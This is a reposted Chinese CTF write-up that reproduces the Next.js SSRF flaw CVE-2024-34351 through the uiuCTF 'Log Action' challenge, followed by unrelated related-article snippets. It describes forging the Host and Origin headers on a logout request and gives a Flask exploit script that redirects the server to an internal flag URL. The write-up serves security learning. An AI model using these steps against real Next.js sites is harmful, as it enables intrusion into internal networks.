CVE-2024-34351 漏洞復現

CVE-2024-34351,由Next.js異步函數createRedirectRenderResult導致的SSRF。

影響版本:13.4.0<= Next.js < 14.1.1

參考文章:

Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub

在 NextJS 應用中挖掘 SSRF (assetnote.io)

CVE-2024-34351|Next.js框架存在SSRF漏洞-騰訊云開發者社區-騰訊云 (tencent.com)

通過uiuCTF Log Action賽題復現,開題:

image-20240702042841986

點擊之后是登錄,正如題目描述,登錄不起作用。

image-20240702042911958

給了源碼,我們先看一看。docker里面給出了flag的位置,看到這個就知道多半不是RCE拿flag了。

image-20240702043046823

ts源碼整體看下來沒什么明顯漏洞點,登錄部分用戶名是admin,密碼是每次隨機的16位數,這意味著不可能正常登錄,而且正常登錄后admin路由也不給flag。

image-20240702044126433

引用一下外國老哥在wp中所闡述的觀點: Log4J RCE(遠程代碼執行)漏洞,它讓我意識到我們都使用的所有庫和模塊都可能存在潛在危險。

CVE-2024-34351簡述一下就是由于Next.js代碼漏洞引起的,,當我們調用服務器操作并響應重定向時,它會調用異步函數createRedirectRenderResult

在附件文件log-action\frontend\src\app\logout\page.tsx,確實用到了Next.js并且進行了路由跳轉

image-20240702045039903

抓一下注銷時候的包

image-20240702045159668

根據老哥的源代碼分析,我們可以通過HOST頭來控制跳轉的,因為有檢查 CSRF 攻擊的防御手段,所以我們還需要同步更新Origin。服務器開啟監聽,收到請求!

image-20240702045714993

image-20240702045915007

OK到這里SSRF已經驗證了,接下來就是重定向到內網拿flag。

接下來就是SSRF拿flag的事情了,直接跳到拿flag還是跨度挺大的,中間還有一些分析,感興趣的話可以去看看國外老哥寫的文章:Log Action | Siunam’s Website (siunam321.github.io)

在安裝完docker,啟動容器時,docker會為容器默認分配一個容器子網,一般為172.17.0.0/24

但是這里后端服務的內部IP地址是172.18.0.2

直接看利用,py腳本上傳服務器,python起一個服務

image-20240702051528443

exp.py

from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')
def exploit():# CORS preflight checkif request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return response# after CORS preflight checkelif request.method == 'GET':ssrfUrl = 'http://172.18.0.2/flag.txt'return redirect(ssrfUrl)if __name__ == '__main__':app.run(host='0.0.0.0', port=1717, debug=True)

image-20240702053503440

image-20240702053633311

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43902.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43902.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43902.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據庫Doris的手動分桶和自動分桶

在Doris中,分桶(Bucketing)是為了更好地管理和查詢數據,將數據分成多個小的邏輯單元。分桶可以通過手動或自動的方式進行配置,每種方式各有其特點和適用場景。 Doris 支持兩層的數據劃分。第一層是分區(Partition),支持 Range 和 List 的劃分方式。第二層是Bucket(Tab…

RK3568平臺開發系列講解(內存篇)Linux進程內存的消耗統計

??返回專欄總目錄 文章目錄 一、VSS(Virtual Set Size)二、RSS(Resident Set Size)三、PSS(Proportional Set Size)四、USS(Unique Set Size)五、其他工具Linux 提供了多種進程內存占用的度量指標, 它們反映了不同的內存使用特征: VSS 反映進程虛擬內存總需求, 包括未…

2.python條件語句與循環

1.概述 通過條件語句來判斷&#xff0c;條件成立執行某些代碼&#xff0c;條件不成立則不執行這些代碼 2.if語句 if條件&#xff1a;條件成立執行的代碼...... 下方代碼沒有縮進到if語句塊&#xff0c;所以和if條件無關if…else if條件&#xff1a;條件成立執行的代碼.....…

Nature Communications|柔性無感智能隱形眼鏡(柔性傳感/可穿戴電子/柔性電子)

南京大學徐飛(Fei Xu)、陸延青(Yanqing Lu)、陳燁(Ye Chen)和江蘇省人民醫院袁松濤(Songtao Yuan)團隊,在《Nature Communications》上發布了一篇題為“Frequency-encoded eye tracking smart contact lens for human–machine interaction”的論文。論文內容如下: 一、 摘…

常見的load_file()讀取的敏感信息

常見的load_file()讀取的敏感信息 在編程中或者sql注入時&#xff0c;load_file() 函數通常用于讀取文件內容&#xff0c;而敏感信息的泄露往往是由于不當的使用這個函數或缺乏足夠的安全措施。下面是一些常見的敏感信息及其可能的具體位置&#xff1a; 配置文件&#xff1a; …

一起了解開發表單設計器的幾大優勢

實現提質、降本、增效的辦公效率&#xff0c;可以隨時來了解低代碼技術平臺、開發表單設計器。它們可視化操作界面、更靈活、好維護的優勢特點&#xff0c;使得其在激烈的市場競爭中擁有更多強勁的市場競爭力&#xff0c;是提升辦公效率的理想武器。今天&#xff0c;小編就向大…

BGP第二日

上圖為今日所用拓撲 &#xff0c;其中R1和R4&#xff0c;R3和R5為EBGP鄰居&#xff0c;R1和R3為IBGP鄰居&#xff0c;AS200區域做OSPF動態路由 一.BGP建立鄰居的六種狀態 1.idle 空閑狀態&#xff1a;建立鄰居最初的狀態 2.Connect 連接狀態&#xff1a;在…

Linux 基礎常用基礎命令(CentOS7)-CSDN

常用查找端口命令 ps -ef | grep 端口號殺死對應端口 命令 kill -9 端口號Tomcat 執行 命令 并 打印日志 ./startup.sh && tail -f ../logs/catalina.out解壓 對應文件命令 tar xf 相應文件重命名相應文件 重命名單個文件&#xff1a;將原文件名稱作為源路徑 mv ol…

第一關:Linux基礎知識

Linux基礎知識目錄 前言LinuxInternStudio 關卡1. InternStudio開發機介紹2. SSH及端口映射2.1 什么是SSH&#xff1f;2.2 如何使用SSH遠程連接開發機&#xff1f;2.2.1 使用密碼進行SSH遠程連接2.2.2 配置SSH密鑰進行SSH遠程連接2.2.3 使用VScode進行SSH遠程連接 2.3. 端口映射…

Linux C embed development (personal rveiew)

1. 如何快速去bring up bcm 的wifi chipset a. 首先的確認 編譯的BSP profile b. 其次要先用 default 的kernel config 去編譯 c. 現在我們的一些 PCIE/GPIO/driver 總線的設置 都在dts 中&#xff0c;有錯就去改dts 2. BCM 的板子bring up 注意事項 a. fw: bcm…

攻防世界 Web_python_template_injection(flask模版注入)

學習文章&#xff1a;https://www.freebuf.com/column/187845.html https://blog.csdn.net/weixin_54515836/article/details/113778233 flask的渲染方法有render_template和render_template_string兩種。 render_template()是用來渲染一個指定的文件的。使用如下 return re…

自學第十五天----深入理解函數上

1. 函數是什么&#xff1f; 維基百科中對函數的定義&#xff1a; 子程序 在計算機科學中&#xff0c;子程序&#xff08;英語&#xff1a;Subroutine, procedure, function, routine, method, subprogram, callable unit&#xff09;&#xff0c;是一個大型程序中的某部分代碼…

python怎么求因數

要想做到python語言求因數方法&#xff0c;首先要明白其中的原理&#xff1a; 1、對由123456789這九個數字組成的9位數進行分解質因數。 2、1234576982x3x3x7x13x23x29x113&#xff0c;所以他的值因數是113。 3、總共有362880種可能&#xff0c;從中找出值因數中最小的數字和…

一節課說明一類奧數題系列——約數與倍數

小學奧數-約數與倍數 約數和倍數&#xff1a;若整數 a 能夠被 b 整除&#xff0c;a 叫做 b 的倍數&#xff0c;b 就叫做 a 的約數。 公約數&#xff1a;幾個數公有的約數&#xff0c;叫做這幾個數的公約數&#xff1b;其中最大的一個叫做這幾 個數的最大公約數。a,b兩數的最…

學生宿舍反限電插座控制功能

石家莊光大遠通電氣有限公司反限電插座功能的技術防止學生通過半波整流進行防止學生改變負載特性(阻性變為非阻性)的防止學生通過可控硅調壓技術(進行功率調整達到使用目的)惡性負載限制次數設置:管理部門可以根據實際要求設定每個宿舍違規次數。達到本次數。系統自動鎖定&…

【LeetCode】快樂數

目錄 一、題目二、解法完整代碼 一、題目 編寫一個算法來判斷一個數 n 是不是快樂數。 「快樂數」 定義為&#xff1a; 對于一個正整數&#xff0c;每一次將該數替換為它每個位置上的數字的平方和。 然后重復這個過程直到這個數變為 1&#xff0c;也可能是 無限循環 但始終變…

Linux:Ubuntu18.04下開機自啟動QT圖形化界面

Linux&#xff1a;Ubuntu18.04下開機自啟動QT圖形化界面 Chapter1 Linux&#xff1a;Ubuntu18.04下開機自啟動QT圖形化界面一、創建rc.local文件二、建立rc-local.service文件三、啟動服務查看啟動狀態四、重啟 Chapter2 將QT應用作為開機自啟動&#xff08;Linux系統&#xff…

代碼能力弱,編程思維幾乎沒有,有些勉強能看懂,讓自己敲,一臉懵逼?

最近有幾個人問我&#xff0c;說自己代碼能力弱&#xff0c;編程思維幾乎也沒有&#xff0c;簡單的代碼&#xff0c;勉強能看懂&#xff0c;讓自己敲&#xff0c;就一臉懵逼&#xff0c;下一步該怎么學習&#xff1f; 10幾年前&#xff0c;這些問題&#xff0c;就像是一道道難以…

Redis數據結構和持久化

數據類型 String&#xff1a;Map<String,String> 命令格式 set key value(相同的key會覆蓋&#xff09; get key incr key decr key setex key seconds value seconds秒后失效 ttl key del key setnx ke value(if not exist) 應用場景 計數器 比如&#xff1a;訪問次…

1招搞定maven打包空間不足問題

目錄 一、工具應用問題 二 、使用效果 三、使用方法 四、練習手段 一、工具應用問題 使用maven的package功能打包失敗&#xff0c;報錯“Java heap space”錯誤。 二 、使用效果 修改IDEA中maven內存使用大小后&#xff0c;打包成功。 三、使用方法 點擊菜單“File->Set…